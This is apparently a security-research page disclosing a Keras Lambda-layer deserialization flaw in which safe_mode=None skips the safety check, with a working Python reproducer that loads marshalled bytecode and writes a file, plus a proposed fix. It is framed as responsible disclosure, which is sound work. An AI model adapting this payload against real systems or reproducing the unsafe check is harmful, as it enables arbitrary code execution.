kevintsai1202/keras-lambda-bypass-poc

Keras Lambda safe_mode=None Bypass PoC

Security Research Only — Do NOT use this model

Vulnerability

• Package: keras (PyPI, v3.14.1)
• File: keras/src/layers/core/lambda_layer.py
• Method: Lambda._raise_for_lambda_deserialization(safe_mode)
• Root cause: if safe_mode: treats None as falsy → bypass when no SafeModeScope

Description

Lambda.from_config(config, safe_mode=None) (the default) combined with no active SafeModeScope causes safe_mode = None or None = None. The check if None: evaluates to False, skipping the safety guard and calling marshal.loads() on attacker-controlled bytecode.

TFSMLayer.from_config() correctly uses if effective_safe_mode is not False: which blocks None. Lambda diverges from this stronger pattern.

Minimal Reproducer

from keras.src.layers.core.lambda_layer import Lambda
from keras.src.saving import serialization_lib
import marshal, codecs

# No SafeModeScope active → in_safe_mode() returns None
evil_fn = lambda x: open("pwned.txt", "w").write("RCE") or x
code_b64 = codecs.encode(marshal.dumps(evil_fn.__code__), "base64").decode()

evil_config = {
    "name": "evil", "trainable": True,
    "dtype": {"module": "keras", "class_name": "DTypePolicy",
              "config": {"name": "float32"}, "registered_name": None},
    "function": {"class_name": "__lambda__",
                 "config": {"code": code_b64, "defaults": None, "closure": None}},
    "arguments": {},
}

layer = Lambda.from_config(evil_config)  # No ValueError → bypass!
import tensorflow as tf
layer(tf.constant([1.0]))               # Writes pwned.txt

Fix

# Change in _raise_for_lambda_deserialization:
if safe_mode is not False:   # handles None correctly (like TFSMLayer)
    raise ValueError(...)

Uploaded by kevintsai1202 for responsible disclosure via Huntr.